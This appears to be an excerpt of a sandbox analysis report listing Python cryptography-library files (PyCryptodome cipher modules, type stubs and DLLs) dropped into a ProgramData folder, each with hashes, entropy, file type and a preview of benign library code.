SHA1:	4589336CF1A1D1E74DAAA10E87C898DD804DB7F8
SHA-256:	70D9B525599D85146924EF8DBDF0980C42A03F4FBB2D01A2CADBF7ED2D43CD93
SHA-512:	1D0403F3BCDF6AE8A7A7D2FE339112B7BE604EA1D103388547760FF73CBBC7DF5106CF6D702A6134CC4C51A836FEB3ED42AC0BFDE90A46E67F684ECCA3DDF4F6
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/DES3.py : DES3..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\DES3.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	4.947542072808077
Encrypted:	false
SSDEEP:	24:1REN3+WJ+YzJ+YVJ+EJ+YpJ+ylJ+4NINSfWvOktT3DoCLBILBgLB3zb1DoeRHYX:K3+O+O+s+8+s+w+4GxOkdThB2BOBjbFu
MD5:	1BA97BEDA3A1C5C4F1F1E822DCDAE52A
SHA1:	9490B1B328E95BDC5D210E69C0FAAC82A6ECA82A
SHA-256:	1CEC66A6EA369FB78342893C8F0F6A1A05D7135371E12183B87A71A9C84C11D0
SHA-512:	1EE1CA22E0C371DB6BD92C9C87056672F2CA9047AA7A39B19AD4B80221C144255D81EACDFF3152290A1BDF708DDAA8EC927DE0759A5C41256BC0AD84D81473FB
Malicious:	false
Preview:	from typing import Union, Dict, Tuple....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....def adjust_key_parity(key_in: bytes) -> bytes: .......DES3Mode = int....MODE_ECB: DES3Mode..MODE_CBC: DES3Mode..MODE_CFB: DES3Mode..MODE_OFB: DES3Mode..MODE_CTR: DES3Mode..MODE_OPENPGP: DES3Mode..MODE_EAX: DES3Mode....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: DES3Mode,.. iv : Buffer = ...,.. IV : Buffer = ...,.. nonce : Buffer = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, CtrMode, OpenPgpMode]: .......bl

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\PKCS1_OAEP.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9063
Entropy (8bit):	4.802799776084508
Encrypted:	false
SSDEEP:	96:dEFQHvo7wHV2QRL34mghqko9uNizI3y5xU3a5tLVZCMKesDBC7IMgbfro20kqk9i:d6QHvT3GFA6Iywx2XQ0pF9kv
MD5:	5C3F9D1CED6DCAAC69EA791F03C76747
SHA1:	11591A2DEFFE9BE851FA59DFE7B67E1A0888DA93
SHA-256:	9BF053DE2A0DFC0B2307F9D8DD30F9C79A1FD90A9D11CA49A6B147934ED88F66
SHA-512:	ED09EA50F8A97E595DE8FB39B27F703F13FDC6A8FCAB73D905B4709CBF70C145C37BE508EC75BA311F44874B738F9618C825A987AB297B0292364DEE25EFE64C
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/PKCS1_OAEP.py : PKCS#1 OAEP..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ======================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\PKCS1_OAEP.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1214
Entropy (8bit):	4.8233945885346685
Encrypted:	false
SSDEEP:	24:1REjQFC19+1bs1zrhqMS8KDLYOT3OMIAl2HH8Myje+RGoziVEpvNtMEHo:gQFy+1o1IttDLteMI5aoJupVjHo
MD5:	A065FCD801FD38FDC5457C65A8B94801
SHA1:	7C353866EA0CFC0E55A90530714758115424B723
SHA-256:	DFEAE2746DEFD28744873401D008462C4C1EF4899B7BAFAEAE14FCA12A5BB73E
SHA-512:	959C65295EA6C93D67E7C1E5361A03C09CB7A37C7C64A92334A0C612952C3609708766780C99BD93DD5A9C23D79B7A3CF0C0614D083A13F3F9A8D5DBC3E6C7A2
Malicious:	false
Preview:	from typing import Optional, Union, Callable, Any, overload..from typing_extensions import Protocol....from Crypto.PublicKey.RSA import RsaKey....class HashLikeClass(Protocol):.. digest_size : int.. def new(self, data: Optional[bytes] = ...) -> Any: .......class HashLikeModule(Protocol):.. digest_size : int.. @staticmethod.. def new(data: Optional[bytes] = ...) -> Any: .......HashLike = Union[HashLikeClass, HashLikeModule]....Buffer = Union[bytes, bytearray, memoryview]....class PKCS1OAEP_Cipher:.. def __init__(self,.. key: RsaKey,.. hashAlgo: HashLike,.. mgfunc: Callable[[bytes, int], bytes],.. label: Buffer,.. randfunc: Callable[[int], bytes]) -> None: ..... def can_encrypt(self) -> bool: ..... def can_decrypt(self) -> bool: ..... def encrypt(self, message: Buffer) -> bytes: ..... def decrypt(self, ciphertext: Buffer) -> bytes: .......def new(key: RsaKey,.. hashAlgo: O

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\PKCS1_v1_5.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8142
Entropy (8bit):	4.853347582126467
Encrypted:	false
SSDEEP:	96:dtFQHvo04eHVtA3ZutH8MKDezPo1gZEdFTY3PANQ24Vs3T:drQHvM42MEK+gZEdFTY4NQF6T
MD5:	6440F928D502F1D73A451A1D0FE0DE47
SHA1:	404914F1B27CC7C6C0639937355BF07F80D239C6
SHA-256:	22E1A275FAB9C4B675FFCFD0A9C6A531DF90B574B682B737E2A21BDC33976BAC
SHA-512:	4B11C29136CC8C0645781609FAFD09E45967A4D64B03714864C125581035EFDEC51B48C7E4ED036AE87BDE4E5D93B9F029A70F968308C0E41FD7D4E59C366C9F
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/PKCS1-v1_5.py : PKCS#1 v1.5..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ======================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\PKCS1_v1_5.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	602
Entropy (8bit):	4.820398990357207
Encrypted:	false
SSDEEP:	12:1REYB1K+1bgBxpvIY3ONc1AlPcJZVyMnynj5wnZ0bd5AozPmJifJEjwZo:1REqK+1bspT3ONIAlUH8Myje+ZGozuMy
MD5:	AECC22000C62D3046FC82AB47CF21BDE
SHA1:	154E2B352E480AB38FBBDAFFE101BA568255B6EB
SHA-256:	FF25269A9A5F31F12790A10C6A3B03CB7BD9AD359EAE83A0BF5949A94D2D978B
SHA-512:	09EB1213CDAE5D22C808D9DEF54DF1F3B0CC759D3788C46B9155233E0DF085B88667D3D0981D6493769866EFD1E497909A990AC798C93BE4978F7241999FA869
Malicious:	false
Preview:	from typing import Callable, Union, Any, Optional....from Crypto.PublicKey.RSA import RsaKey....Buffer = Union[bytes, bytearray, memoryview]....class PKCS115_Cipher:.. def __init__(self,.. key: RsaKey,.. randfunc: Callable[[int], bytes]) -> None: ..... def can_encrypt(self) -> bool: ..... def can_decrypt(self) -> bool: ..... def encrypt(self, message: Buffer) -> bytes: ..... def decrypt(self, ciphertext: Buffer, sentinel: Buffer) -> bytes: .......def new(key: RsaKey,.. randfunc: Optional[Callable[[int], bytes]] = ...) -> PKCS115_Cipher: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\Salsa20.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6516
Entropy (8bit):	4.625878868247197
Encrypted:	false
SSDEEP:	96:GFQHvo7H4sIR05Jox+lgRXv8NBgQ9Qb3B0NpLPpnhtV8:UQHvMKDRXUNBgHGjRhtV8
MD5:	35B1A807346DF9FAD49A2396E0E7C64E
SHA1:	9A46CF85539233672C3ED0D06E4F1EE5B53BFB27
SHA-256:	80A7769DE32A81B8FB8CBE362066FF80711D630C0BEB39235246E4FD53E11870
SHA-512:	DF42F3A86A75FA52B2005A493B3E48CBDC0972CD81811C70308CB80D7006CE88FD6E9AA3393D2C687855030EF17A2031F4C8D5371888944FE8F8F2AC439C45C4
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/Salsa20.py : Salsa20 stream cipher (http://cr.yp.to/snuffle.html)..#..# Contributed by Fabrizio Tarizzo <fabrizio@fabriziotarizzo.org>...#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\Salsa20.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	771
Entropy (8bit):	4.742681231468146
Encrypted:	false
SSDEEP:	24:1RElT3T37zFeBFAtnRNne3yFnR3Fne3rod8VYi:krheryvesLe71+i
MD5:	6C5EA68AB5BEDD5AE4A24BBC749A9CDD
SHA1:	806FAF7C023E17AB87A6108F9B91F5C4169E6037
SHA-256:	BADADDA30716689524A0798B1AF0DC0E7E81226EA4EE894D4E923347BAA7080C
SHA-512:	09226A5BC1E1E1B8806D88A7DC7ACD13B521CF14034E92F65211694D5D60ECB67866C4DB309E4488018126A752AFA8C1A5987F4417B3BF418A2590738FE4DBD2
Malicious:	false
Preview:	from typing import Union, Tuple, Optional, overload......Buffer = Union[bytes, bytearray, memoryview]....class Salsa20Cipher:.. nonce: bytes.. block_size: int.. key_size: int.... def __init__(self,.. key: Buffer,.. nonce: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......def new(key: Buffer, nonce: Optional[Buffer] = ...) -> Salsa20Cipher: .......block_size: int..key_size: Tuple[int, int]....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_ARC4.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.634288867523123
Encrypted:	false
SSDEEP:	96:e/8MwxTCa5Xv7BelL7u1R/r8qJ7pfpsPG6QEYHGBpUWCmNniHisDJ9UFv4:MTwxTltlelL7urFfUQaUNmYjDLU
MD5:	4CD3D1DE5990F98F722AB517C7D829F9
SHA1:	02E5B1457C761A4E6B7DBA0A18CDFF99FE764F45
SHA-256:	5C603D68BE4E47F1633A7C77A9404C5FC6ABF584B5F1EB274CC312829444C197
SHA-512:	9CD0F317163AB28EEBE6EA93521640CF36739E60BE6E5A1C1FE490E7920F12A9591E16DCCB50F934D30E892474AD21600592A51651EC5C0BF0D5DA20B4807F5C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...x.!`.........." ................T........................................p............`.........................................`'.......(..d....P.......@...............`..$....!...............................!..8............ ...............................text............................... ..`.rdata...... ......................@..@.data...H....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..$....`.....................@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_EKSBlowfish.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5336
Entropy (8bit):	4.836111981939897
Encrypted:	false
SSDEEP:	96:MHDqrYJALrYJHdt3EHGuITiwnHav1ZaVDYyOKgiaiJrJtk3I99m2Ht3HRF29:0qrskrs9t3q/ITHSVNi1bk3ITm6tXRY9
MD5:	A5F07807C63A0A82CFE7F644D72C9F9D
SHA1:	4F44ED26FD9770A9B8ED279C9E75FFEB2C84B756
SHA-256:	26B7450998B5E04410A77486C695457C58DCBC8DB24F50CC685651D223F3BE8E
SHA-512:	535FDCFDDDF7D64D097B0B51F64EBD14D453895B167E379D105E15F8F9681100B324A02004A3DD059B599EF88C01B81E0AD5546E90F1251EA2172BA5DF6D9252
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2019, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_EKSBlowfish.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	281
Entropy (8bit):	4.919666506917015
Encrypted:	false
SSDEEP:	6:1REYBNHK+kb/Vfw1ggHzrIY3MTDyo5Alm0Wgw0Tm6sRy/6WXHg:1REYBQ+kzlbgHvIY3YyogmvNZRy/O
MD5:	4030500BC383DEE6F4BBDF228147813E
SHA1:	DE9B1C78DD481B3B42A29AB5485C2C1B3EDFF182
SHA-256:	4917140D2EAE01669B206BEAB2164796D2DF836CFBD8ACCC9189CF4E6EEBEDB2
SHA-512:	FCAE9156019C79B2033E53F4F0626FD729F8B99F6EB73C837330D5AE079F19CCBA33A7EB2C72CC3055C365B2ED272AFCD7313310A9C2F1120EA16FF0E7AFF63A
Malicious:	false
Preview:	from typing import Union, Iterable....from Crypto.Cipher._mode_ecb import EcbMode....MODE_ECB: int....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: int,...salt: Buffer,...cost: int) -> EcbMode: .......block_size: int..key_size: Iterable[int]..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.010998805811913
Encrypted:	false
SSDEEP:	192:tUBpDmr37utd9PHv2DznuRGMeS4MUHNDLUYd:VDit6DCVn43ZUW
MD5:	86109D2D1FCCDB91968B7C1A63823731
SHA1:	89DEC67FBB4E467604F20C53C3AE3949471AEF58
SHA-256:	28EFD36BE6BBBC56A7219BED7CC132CE67BAF629100CC03A08A804360F483DB9
SHA-512:	5D331F7F3CA413E77C33FA57E1F07EF43D064545FF1D143B9086211B42BBE165564C62B07D7A44615E75221613F3D3127EF5D7C7EC06315F0C397C0B059D2A37
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...y.!`.........." ................T.....................................................`.........................................@8.......9..d....`.......P..L............p..$....1...............................1..8............0...............................text...x........................... ..`.rdata..2....0......................@..@.data...H....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2923
Entropy (8bit):	4.69817669465711
Encrypted:	false
SSDEEP:	48:AF/1FvgfQq1B5GIDvOQ+Tl+1+L+r+yC+3+/+TJ+F+3+OUZzHfJUPdD9Bd+uTV/H+:m1FvWQq1jGIDvOQgl2oIpCcI0JqYwBHZ
MD5:	C0765E2C315E8F9736A7AABD7C92E132
SHA1:	61E185BB15AE453031CE0DFC166A0FA05A8B2138
SHA-256:	5EE4031AEDAC195C6528FC9705C342286DF2D8018348EB0279C7148EA85E8830
SHA-512:	3EA5E75439A504FC0CAA8683E62C7D07BC57A46480D260EDE8D53E985B9084E55730D2C93F68612354E6253424BDD258D363559108ADE942E5C4A24318B64F76
Malicious:	false
Preview:	#..# A block cipher is instantiated as a combination of:..# 1. A base cipher (such as AES)..# 2. A mode of operation (such as CBC)..#..# Both items are implemented as C modules...#..# The API of #1 is (replace "AES" with the name of the actual cipher):..# - AES_start_operaion(key) --> base_cipher_state..# - AES_encrypt(base_cipher_state, in, out, length)..# - AES_decrypt(base_cipher_state, in, out, length)..# - AES_stop_operation(base_cipher_state)..#..# Where base_cipher_state is AES_State, a struct with BlockBase (set of..# pointers to encrypt/decrypt/stop) followed by cipher-specific data...#..# The API of #2 is (replace "CBC" with the name of the actual mode):..# - CBC_start_operation(base_cipher_state) --> mode_state..# - CBC_encrypt(mode_state, in, out, length)..# - CBC_decrypt(mode_state, in, out, length)..# - CBC_stop_operation(mode_state)..#..# where mode_state is a a pointer to base_cipher_state plus mode-specific data.....import os....from Crypto.Cipher._mode_ecb import _cre

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_chacha20.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.031410931109326
Encrypted:	false
SSDEEP:	192:ahgUBpDmr37utd9PVv2Jnl0Ne3erKr5okiy0Y26RAr2Z9lkNCqDLU/:rDitwJooNiyX2GUA9f0U/
MD5:	D5FF7EFCB2FF37708545A5A1A845ED27
SHA1:	FD033AC437E69BDFFE2F3968F70236FEF58978ED
SHA-256:	5B0EBA9748B83DC2AAEF95ECAF12273A13768A2B5BAA5A8AC92EAC2F7076EBC8
SHA-512:	666D08D39DAE749A4E0F35829C6E396FFFC676750CBD2943010A6D034CE0C96DB395203CA29F6658931BE40B40A0D10E16A62667A76F66394960932193F67FD9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...y.!`.........." ................T.....................................................`..........................................7.......8..d....`.......P..d............p..$....1...............................1..8............0...............................text...(........................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..$....p.......2..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_cbc.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11244
Entropy (8bit):	4.597963804327609
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IY/5xlJT9O+wU4/u+2U4OB0XgRz:0rskrs9VqLzJJ4TW+2TOBH
MD5:	58009BF442032E2D33A1E88E5C4EBF87
SHA1:	7834F9D2D8E73A2805080EB76CDAB592EFFF9877
SHA-256:	993D211D8E7DDC7454DC41950CDA0E2FAAF5702F1E681286D2BA050E55154E80
SHA-512:	D33CD37F4DE1A9E7F9FB6F046B29893F1565288A1D515B5F7BEDDA72016F9C0F7B277A0236DCDCB92A7C3855D8835D7D6CDB3189D4623AF41734BBB72F90E960
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_cbc.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	712
Entropy (8bit):	4.750220080456401
Encrypted:	false
SSDEEP:	12:1REYBw1+sJal9lvIY3FDHiIRyE1AOlSFq6R5pFq6jI33ynFq6R5xnFq6jI338:1REP+LjT35istAY4nRNne3yFnR3Fne38
MD5:	30DD017C0985A1EFF693D631609C1DB6
SHA1:	378924C68A2872C951B6AB0291014CD3DD3C3B9C
SHA-256:	BCD20F1E0C545F56F186640614FEB8B125A2627F7A56F36DA2A3B2040EFE6FFC
SHA-512:	8029C5F0C2789E73A777C9F7609170DE099DDAF80CFDFDC912D2A48740661A5F831B729D7A2CCCC8A4A32CC22CE22480D4871615F49BCE958DB154B9120D4A3C
Malicious:	false
Preview:	from typing import Union, overload....from Crypto.Util._raw_api import SmartPointer....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CbcMode']....class CbcMode(object):.. block_size: int.. iv: Buffer.. IV: Buffer.... def __init__(self,.. block_cipher: SmartPointer,.. iv: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: .......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ccm.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	25094
Entropy (8bit):	4.674975336383887
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/I+9n1nXrBamtA6/c1VCO37n2x46g4wCu4gDNMVRWPv8GxvBsm:0rskrs9Vqb1n71/wf2x40wYgJMXWHVv5
MD5:	4FBBB0B7FE61C1B2D17BCD67F84F0B36
SHA1:	F8CB6B3378D9F82153586C1954C8DC66DC4E0BEF
SHA-256:	344F44480530E5037326708499F1BB537EEE50BA618BC064BB1CBFE9ACEC5BA7
SHA-512:	C014C208B153BEE474257CE7AE2B4059C278634E80A49DDC4ACE39C2FEE80DE5DC34D7F5802FF1E2FFE04B86DDA7C336ACAE95EEB747653328B60E1CF56B6CD3
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_ccm.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1647
Entropy (8bit):	4.397477650476907
Encrypted:	false
SSDEEP:	24:1RM7CnbKT3fAbSUA9UUOHMnRNne3yFnR3Fne3UPtWLn8no0E+XW3oIQ:cuuvUXUO8vesLeJLn8nlEF49
MD5:	91133F991531450E28EE3F680FBF6F20
SHA1:	BB3761FBD4A0F912A77258D73B30D7E43403130E
SHA-256:	5F0058DE990A9668E5B0CE2273E74E0D5BFDF79F5E6745DC9B8FAEB39822A9AD
SHA-512:	F5FAF2155B4D172D3DDAF556DF2EF28E5CE93CE81F471AED1D7215C658EF03C9DAB71FA3BDABD3133951A1A64EA628587F8390D330280518B2CA60F0E6451D74
Malicious:	false
Preview:	from types import ModuleType..from typing import Union, overload, Dict, Tuple, Optional....Buffer = Union[bytes, bytearray, memoryview]....__all__ = ['CcmMode']....class CcmMode(object):.. block_size: int.. nonce: bytes.... def __init__(self,.. factory: ModuleType,.. key: Buffer,.. nonce: Buffer,.. mac_len: int,.. msg_len: int,.. assoc_len: int,.. cipher_params: Dict) -> None: ..... .. def update(self, assoc_data: Buffer) -> CcmMode: ....... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ....... def digest(self) -> bytes: ..... def hexdigest(self) -> str:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\_mode_cfb.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11094
Entropy (8bit):	4.504866585165135
Encrypted:	false
SSDEEP:	96:dSMFQHvo5H4dIL3EwOOscx2JL5qwG47W9stU4p2EVQd7T1qytU4epqtAVwqWFCb0:dSCQHvAyOH2JLcOqwU4SkYU44bKCDmJ
MD5:	26656D5CE7FC3E84C56BFEC19C46841D
SHA1:	0A7A2C5389FB1262C37252F1773B83FAE82AB823
